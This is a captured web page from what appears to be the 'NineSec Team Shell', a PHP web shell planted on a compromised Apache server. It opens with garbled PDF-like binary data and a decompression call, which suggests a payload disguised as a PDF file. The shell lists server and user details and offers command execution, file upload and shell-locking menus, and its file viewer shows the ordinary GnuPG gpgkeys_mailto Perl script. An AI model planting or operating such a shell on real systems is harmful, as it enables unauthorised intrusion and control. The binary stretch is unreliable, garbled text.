%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /mnt/../usr/src/../lib/gnupg/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //mnt/../usr/src/../lib/gnupg/gpgkeys_mailto
#!/usr/bin/perl -w

# gpgkeys_mailto - talk to a email keyserver 
# Copyright (C) 2001, 2002 Free Software Foundation, Inc.
#
# This file is part of GnuPG.
#
# GnuPG is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# GnuPG is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see <http://www.gnu.org/licenses/>.
use Getopt::Std;
$Getopt::Std::STANDARD_HELP_VERSION=1;
$sendmail="/usr/sbin/sendmail -t";

###

sub VERSION_MESSAGE ()
{
    print STDOUT "gpgkeys_mailto (GnuPG) 1.4.18\n";
}

sub HELP_MESSAGE ()
{
    print STDOUT <<EOT

--help     Print this help
--version  Print the version
-o FILE    Write output to FILE
EOT
}



getopts('o:');

if(defined($opt_o))
{
    open(STDOUT,">$opt_o") || die "Can't open output file $opt_o\n";
}

if(@ARGV)
{
    open(STDIN,$ARGV[0]) || die "Can't open input file $ARGV[0]\n";
}

while(<STDIN>)
{
    last if($_ eq "\n");

    if(/^COMMAND (\S+)/)
    {
	$command=$1;
    }

    if(/^OPAQUE (\S+)/)
    {
	$address=$1;
    }

    if(/^PROGRAM (\S+)/)
    {
	$program=$1;
    }

    if(/^OPTION (\S+)/)
    {
	if($1=~/^verbose$/i)
	{
	    $verbose++;
	}
	elsif($1=~/^no-verbose$/i)
	{
	    $verbose--;
	}
	elsif($1=~/^mail-from=(.+)$/i)
	{
	    $from=$1;
	}
	elsif($1=~/^no-mail-from$/i)
	{
	    undef $from;
	}

    }
}

if(!defined($from))
{
    ($login,$name)=(getpwuid($<))[0,6];
    $from="$name <$login>";
}

$program="(unknown)" if(!defined($program));

if(!defined($address))
{
    print STDERR "gpgkeys: no address provided\n";
    exit(1);
}

while(<STDIN>)
{
    last if($_ eq "\n");

    chomp;

    push(@keys,$_);
}

# Send response

print "VERSION 1\n";
print "OPTION OUTOFBAND\n\n";

# Email keyservers get and search the same way

if($command=~/get/i || $command=~/search/i)
{
    if($command=~/search/i)
    {
	print "COUNT 0\n";
    }

    foreach $key (@keys)
    {
	open(MAIL,"|$sendmail") || die "ERROR: Can't open $sendmail\n";
	print MAIL "From: $from\n";
	print MAIL "To: $address\n";
	if($command=~/get/i)
	{
	    # mail keyservers don't like long-form keyids

	    if(substr($key,0,2) eq "0x")
	    {
		$key=substr($key,2);
	    }

	    if(length($key)>8)
	    {
		$key=substr($key,-8);
	    }

    	    print MAIL "Subject: GET 0x$key\n\n";
	}
	else
	{
	    print MAIL "Subject: GET $key\n\n";
	}
	print MAIL "GnuPG $program email keyserver request\n";
	close(MAIL);

	# Tell GnuPG not to expect a key
	print "KEY $key OUTOFBAND\n";

	if($verbose)
	{
	    print STDERR "gpgkeys: key $key requested from $address\n";
	}
    }
}

if($command=~/send/i)
{
    while(!eof(STDIN))
    {
	open(MAIL,"|$sendmail") || die "ERROR: Can't open $sendmail\n";
	print MAIL "From: $name <$login>\n";
	print MAIL "To: $address\n";
	print MAIL "Subject: ADD\n\n";

	while(<STDIN>)
	{
	    if(/^KEY (\S+) BEGIN$/)
	    {
		$key=$1;
		last;
	    }
	}

	while(<STDIN>)
	{
	    if(/^KEY \S+ END$/)
	    {
		last;
	    }

	    print MAIL;
	}

	close(MAIL);

	if($verbose)
	{
	    print STDERR "gpgkeys: key $key sent to $address\n";
	}
    }
}


# Local Variables: 
# mode:perl
# End:

NineSec Team - 2022